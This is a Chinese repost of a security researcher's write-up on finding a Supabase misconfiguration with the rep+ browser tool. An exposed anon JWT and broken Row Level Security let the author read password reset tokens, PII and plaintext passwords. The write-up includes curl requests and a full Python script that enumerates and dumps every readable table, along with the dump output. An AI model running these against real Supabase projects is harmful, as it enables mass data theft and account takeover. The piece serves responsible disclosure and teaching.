文章总结: 本文详述利用工具rep+发现Supabase严重配置漏洞的过程。通过扫描前端获取匿名JWT,验证发现后端行级安全策略失效,导致攻击者可遍历数据库表,窃取密码重置令牌与敏感数据,实现账户接管。文章提供了自动化验证脚本与复现步骤,强调了严格配置RLS的重要性及安全工具在提升渗透测试效率中的作用。 综合评分: 85 文章分类: 漏洞分析,渗透测试,实战经验,WEB安全,漏洞POC
rep+ 如何帮助我发现 Supabase JWT 严重暴露漏洞
bour.ch
赛博知识驿站
2025年12月31日 16:10 中国香港
要点速览
作者使用自研浏览器安全工具 rep+ 在测试某网站时,意外发现一个严重的 Supabase JWT 泄露漏洞,最终可导致完全账户接管。
漏洞发现过程
- 1. 客户端敏感信息检测:使用
rep+集成的Kingfisher规则扫描 JavaScript 文件,直接在浏览器 DevTools 中发现硬编码的Supabase匿名JWT令牌 - 2. JWT 解码分析:通过
rep+内置的 JWT 解码功能,确认这是一个Supabase anon令牌(理论上可公开,但需要后端 RLS 保护) - 3. 端点枚举:使用泄露的 JWT 访问
https://[target].supabase.co/rest/v1/枚举所有暴露的 REST 端点,发现 34 个可访问的表,包括敏感的password_reset_tokens表
关键技术验证
RLS 绕过验证 Payload:
curl -i \
https://[target].supabase.co/rest/v1/password_reset_tokens?limit=1 \
-H "apikey: [ANON_KEY]" \
-H "Authorization: Bearer [JWT_TOKEN]"
成功返回 272 个有效的密码重置令牌,包含 email、token、expires_at 等完整信息,确认 Row Level Security (RLS) 配置失效。
自动化批量检测
作者编写 Python 脚本[1] 自动化验证所有表的可读性:
- • 枚举全部 REST 暴露的表
- • 分页读取每个表的数据(每页 1000 条)
- • 导出为 JSON 文件并生成摘要报告
最终发现多个表存在 RLS 失效,包含大量 PII 数据,甚至发现明文密码存储,将风险从单一漏洞升级为系统性授权失败。
安全验证 PoC
通过创建测试账户验证完整攻击链:
- 1. 触发密码重置流程
- 2. 使用泄露的 JWT 读取
password_reset_tokens表获取 token - 3. 构造重置链接
https://[target]/reset-password?token=<token>成功重置密码
rep+ 工具亮点
- • 零依赖检测:直接在浏览器 DevTools 中完成敏感信息扫描、JWT 解码、请求重放等操作
- • AI 辅助分析:自动解释请求/响应、标记可疑模式、建议攻击向量
- • 高效工作流:支持请求拦截、批量重放、响应 diff 对比等功能
根本原因:Supabase 匿名令牌本身设计为公开,但必须配合严格的 Row Level Security (RLS) 策略使用。该案例中开发者未正确配置 RLS,导致匿名用户可直接访问所有敏感表数据。
rep+ 如何帮助我发现 Supabase JWT 泄露的严重漏洞
简介
我在浏览 trustmrr[2] 时发现了这个问题。这是 Marc Lou[3] 创建的网站,用于帮助验证创始人是否诚实披露其月经常性收入(MRR),还是夸大了数字。Marc 还添加了一个功能,允许创始人出售他们的初创公司。
在浏览这些待售列表时,我看到一个网站声称产生 $10k+ MRR,所有者要价 $100k+。出于好奇,我决定仔细看看,测试 rep+ 能否发现什么有趣的东西。
发现目标
最近,我为 rep+[4] 添加了 Kingfisher[5] 支持(特别感谢 Mick Grove[6])。Kingfisher 的密钥检测规则让 rep+[4] 能够高效扫描已加载的 JavaScript 文件,寻找敏感信息。在将拉取请求[7]合并到主分支之前,我在真实场景中测试这个功能,正是这样发现了这个问题。
使用 rep+ 进行测试
rep+[4] 专为渗透测试人员和安全工程师设计,轻量且易用。无需启动笨重的代理工具,只需右键点击、检查元素,就可以直接在浏览器中与请求交互。使用 rep+[4],你可以:
- • 拦截请求
- • 逐个转发请求
- • 转发所有请求
- • 手动修改请求
- • 批量重放请求
- • 对比响应以快速发现行为变化
除此之外,rep+ 还添加了 AI 辅助工作流来加速分析:
- • 用通俗语言解释请求和响应
- • 突出显示可疑模式和风险行为
- • 根据请求/响应上下文建议潜在攻击向量
- • 无需手动深入分析即可评估影响
这里不会详细介绍所有功能。欢迎访问 GitHub 仓库[4]或在 𝕏[8] 上关注我,了解 rep+ 的更多功能。
客户端密钥检测
我最常用的功能之一是客户端密钥检测。在测试 Kingfisher[7] 集成时,我使用 rep+[4] 扫描所有已加载的 JavaScript 文件,标记可能暴露敏感信息的内容。
JWT 发现
在浏览器中打开网站并启动 rep+[4] 后,立即发现网站的 JavaScript 中直接嵌入了一个 JWT 令牌[9]。
rep+ 标记出 JWT 令牌
从上面的截图可以看到,你可以点击 JavaScript 文件的超链接直接跳转到源文件。或者,你可以使用 rep+[4] 搜索栏,它会在所有请求和响应的 URL、头部和正文中搜索。
rep+ 跨请求和响应搜索
查看 JavaScript 输出后,很明显这个令牌是 Supabase JWT[10]。无需使用任何外部网站或工具,我在 rep+[4] 中高亮显示令牌,然后点击 JWT decode 来检查其内容。
在 rep+ 中高亮显示的 JWT
rep+[4] 立即解码了令牌并内联显示声明内容。
在 rep+ 中解码的 JWT
这个 JWT[9] 是一个 Supabase 匿名(anon)令牌,通常设计为可以公开暴露。此时,我的目标不是利用漏洞,而是验证后端是否正确实施了行级安全(RLS)[11]。
探索 Supabase 端点
使用这个令牌,我首先测试了端点枚举。利用这个 JWT[9],我尝试列出 Supabase[12] 暴露的可用 REST 端点,实际上是在枚举后端向这个令牌开放的表和 RPC 函数。
⚡ curl -s \
https://████████████████.supabase.co/rest/v1/ \
-H "apikey: ████████████████ " \
-H "Authorization: Bearer ████████████████ " | jq -r '.paths | keys[]'
响应返回了一个令人惊讶的大攻击面:
/
/admi███████rs
/a███████rs
/ap███████les
/a███████rs
/a█████s
/co████████ts
/con███████yp██s
/cu███████ains
/f███████
/in███████tions
/l███████es
/l██████s
/mod███████nts
/mo███████ts
/mo█████les
/not███████ries
/n███████ns
/of███████es
/password_reset_tokens
/p█████ns
/pos███████kes
/p███████
/p█████████ct███████_ids
/p███████es
/products
/re███████ypes
/rpc/cl███████d_files
/rpc/cre███████ink_column
/rpc/de███████likes
/rpc/███████st_likes
/rpc/s███████ant_access
/rpc/v███████uct_access
/s███████osts
/su███████eriods
/su███████ons
/syst███████gs
/tr███████ns
/user_███████orts
/user_███████_access
/user███████ge
在这个阶段,仅凭输出结果还不能确认存在漏洞。枚举本身不等于利用。但它立即引发了一个重要问题:
这些表和 RPC 端点是否受到行级安全策略的适当保护?
验证行级安全策略
接下来,重点转向验证 RLS[11] 是否得到一致执行,以及这个匿名令牌是否能访问或操作不应访问的数据。
密码重置令牌
在枚举过程中,password_reset_tokens 表立即引起了我的注意。如果匿名令牌可以读取这个表,就可能被用来接管用户账户。
下一步很简单。我尝试看看这个匿名 JWT[9] 是否有这个表的读取权限。
我使用相同的令牌发送了以下请求:
curl -i \
https://████████████████.supabase.co/rest/v1/password_reset_tokens?limit=1 \
-H "apikey: ████████████████" \
-H "Authorization: Bearer ████████████████"
响应返回了 HTTP 200。
[
{
"id": "3e███2c-6██e-4██5-8██b-f24███4██",
"email": "████████████████@gmail.com",
"token": "███████████████████████████97d5█████5459███7ef7███1",
"created_at": "2025-05-05T18:04:57.013+00:00",
"expires_at": "2025-05-06T18:04:57.013+00:00",
"used": false
}
]
此时,影响已经很明确了。
匿名 Supabase JWT[9] 能够读取密码重置令牌,包括邮箱地址和原始重置令牌本身。有了这些数据,就可以完成密码重置流程并接管用户账户。
这证实了这个表上没有正确实施行级安全策略[11]。
暴露规模
为了了解暴露的规模,我统计了这个令牌可以访问的密码重置令牌数量:
🗂 ~/Desktop - ⬢ v22.18.0
⚡ jq ████████████████
272
这个数字足以确认问题的严重性。但它也引发了一个更重要的问题:
这是单个表的孤立故障,还是系统性的授权问题?
逐个手动查询表既不高效,也容易出现人为错误。为了确信地回答这个问题,我决定自动化这个过程。
使用同一个匿名 Supabase JWT,我编写了一个小型 Python 脚本[1]来:
- • 枚举所有通过 REST 暴露的表
- • 测试每个表是否可读
- • 安全地将可读数据导出为 JSON(只读)
export SUPABASE_URL=https://xxxx.supabase.co
export SUPABASE_APIKEY=ANON_KEY
export SUPABASE_JWT=JWT_TOKEN
import requests
import argparse
import os
import json
from typing import List
PAGE_SIZE = 1000 # 安全,明确
def parse_args():
parser = argparse.ArgumentParser(
description="使用匿名 JWT 枚举和导出可读的 Supabase 表(只读)。"
)
parser.add_argument("--url", help="Supabase 项目 URL (https://xxxx.supabase.co)")
parser.add_argument("--apikey", help="Supabase 匿名 API 密钥")
parser.add_argument("--jwt", help="JWT 令牌 (Bearer)")
parser.add_argument("--out", default="dump", help="输出目录")
parser.add_argument("--page-size", type=int, default=PAGE_SIZE)
return parser.parse_args()
def get_config(args):
url = args.url or os.getenv("SUPABASE_URL")
apikey = args.apikey or os.getenv("SUPABASE_APIKEY")
jwt = args.jwt or os.getenv("SUPABASE_JWT")
if not all([url, apikey, jwt]):
raise SystemExit(
"配置缺失。请提供 --url, --apikey, --jwt "
"或设置 SUPABASE_URL, SUPABASE_APIKEY, SUPABASE_JWT"
)
return url.rstrip("/"), apikey, jwt
def get_paths(base_url, headers) -> List[str]:
r = requests.get(f"{base_url}/rest/v1/", headers=headers, timeout=10)
r.raise_for_status()
return [
p.strip("/")
for p in r.json().get("paths", {}).keys()
if not p.startswith("/rpc") and p != "/"
]
def dump_table(base_url, table, headers, page_size):
all_rows = []
offset = 0
while True:
url = f"{base_url}/rest/v1/{table}?limit={page_size}&offset={offset}"
r = requests.get(url, headers=headers, timeout=10)
if r.status_code != 200:
return None, r.status_code
chunk = r.json()
all_rows.extend(chunk)
if len(chunk) < page_size:
break
offset += page_size
return all_rows, 200
def main():
args = parse_args()
base_url, apikey, jwt = get_config(args)
headers = {
"apikey": apikey,
"Authorization": f"Bearer {jwt}",
}
os.makedirs(args.out, exist_ok=True)
print("[*] 枚举暴露的表...")
tables = get_paths(base_url, headers)
print(f"[+] 发现 {len(tables)} 个表\n")
summary = []
for table in tables:
print(f"[*] 导出表: {table}")
rows, status = dump_table(base_url, table, headers, args.page_size)
if status == 200 and rows is not None:
path = os.path.join(args.out, f"{table}.json")
with open(path, "w") as f:
json.dump(rows, f, indent=2)
print(f" [+] 已导出 {len(rows)} 行 → {path}")
summary.append({
"table": table,
"readable": True,
"rows": len(rows),
"file": path,
})
else:
print(f" [-] 被阻止 (HTTP {status})")
summary.append({
"table": table,
"readable": False,
"status_code": status,
})
with open(os.path.join(args.out, "_summary.json"), "w") as f:
json.dump(summary, f, indent=2)
print("\n[+] 完成。摘要已写入 dump/_summary.json")
if __name__ == "__main__":
main()
目标不是利用漏洞,而是验证。我想了解行级安全策略[11]是否在整个后端得到一致执行,还是问题不仅限于密码重置令牌。
运行脚本后,答案很快就清楚了。
🗂 ~/Desktop/superbase-exposure-check - ⬢ v22.18.0
⚡ python3 supabase-exposure-check.py
[*] 枚举暴露的表...
[+] 发现 34 个表
[*] 导出表: m█████████s
[+] 已导出 38180 行 → dump/m█████████s.json
[*] 导出表: a██s
[+] 已导出 2168 行 → dump/a██s.json
[*] 导出表: s██e██ed_██sts
[+] 已导出 792 行 → dump/s██e██ed_██sts.json
[*] 导出表: i████tions
[+] 已导出 0 行 → dump/i████tions.json
[*] 导出表: product_██ases
[+] 已导出 9938 行 → dump/product_██ases.json
[*] 导出表: us██_age
[+] 已导出 0 行 → dump/us██_age.json
[*] 导出表: user_████s██_access
...
问题不仅限于单个配置错误的表,使用匿名令牌可以访问多个表。这证实了这是一个系统性的行级安全策略[11]失败,而不是孤立的边缘情况。几个暴露的表包含高度敏感的个人身份信息(PII),包括明文、未哈希的密码,这显著提高了整体风险和影响。
安全的概念验证
下一步是确认我没有想象,这确实有效。为此,我决定使用我创建的受控账户安全地测试这个流程。过程很简单:你需要知道密码重置路径以及在哪里放置令牌。
创建测试账户并请求密码重置后,我获得了重置链接:
https://████████████████/reset-password?token=<token>
这证实了流程按预期工作。令牌在 URL 中,重置页面接受它并允许更改密码。此时,很明显匿名 JWT[9] 有能力访问密码重置令牌并执行本应受限的操作。
我本可以继续深入挖掘,进一步扩大影响。凭借可用的访问级别,还有几条其他路径值得探索。
我决定到此为止。
目标从来不是利用漏洞。问题已经清楚、可复现,且足够严重,能够证明完全的账户接管风险。再往下走不会增加有意义的价值。
负责任的披露
我记录了发现,并向网站所有者报告了问题,提供了清晰的复现步骤、影响和修复指导。
这再次提醒我们,即使是设计为公开的令牌,如 Supabase 匿名 JWT[9],当授权控制(如行级安全策略)配置错误时,也可能变得极其危险。
rep+ 的价值所在
这个案例完美展示了为什么像 rep+[4] 这样的工具如此有价值。它让我能够快速检测敏感信息,安全地测试流程,并在不依赖外部工具的情况下理解安全影响。
获取 rep+
如果你有兴趣自己探索 rep+[4],可以:
- • 安装 Chrome 扩展:rep+ on Chrome Web Store[13]
- • 查看 GitHub 仓库:https://github.com/repplus/rep
参考资料
- 1. Supabase API Keys – anon vs service role[15]
- 2. PostgreSQL 文档 – 行级安全[16]
- 3. Supabase – 行级安全常见陷阱[17]
- 4. 账户接管[18]
- 5. supabase-exposure-check – 自动化 RLS 暴露验证脚本[1]
原文:https://bour.ch/how-rep-helped-me-identify-a-critical-supabase-jwt-exposure/
引用链接
[1] Python 脚本: https://github.com/bscript/superbase-exposure-check
[2] **trustmrr**: https://trustmrr.com
[3] Marc Lou: https://x.com/marclou
[4] rep+: https://github.com/repplus/rep/
[5] **Kingfisher**: https://github.com/mongodb/kingfisher/
[6] Mick Grove: https://x.com/micksmix0
[7] 拉取请求: https://github.com/repplus/rep/pull/58
[8] 𝕏: https://x.com/BourAbdelhadi
[9] **JWT 令牌**: https://datatracker.ietf.org/doc/html/rfc7519
[10] **Supabase JWT**: https://supabase.com/docs/guides/auth/jwts
[11] **行级安全(RLS)**: https://supabase.com/docs/guides/database/postgres/row-level-security
[12] Supabase: https://supabase.com/
[13] rep+ on Chrome Web Store: https://chromewebstore.google.com/detail/rep+/dhildnnjbegaggknfkagdpnballiepfm
[14] 加入已有的 11 位赞助者: https://github.com/sponsors/bscript
[15] Supabase API Keys – anon vs service role: https://supabase.com/docs/guides/api/api-keys
[16] PostgreSQL 文档 – 行级安全: https://www.postgresql.org/docs/current/ddl-rowsecurity.html
[17] Supabase – 行级安全常见陷阱: https://supabase.com/docs/guides/database/postgres/row-level-security#common-pitfalls
[18] 账户接管: https://www.cloudflare.com/learning/access-management/account-takeover
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博知识驿站 bour.ch《rep+ 如何帮助我发现 Supabase JWT 严重暴露漏洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论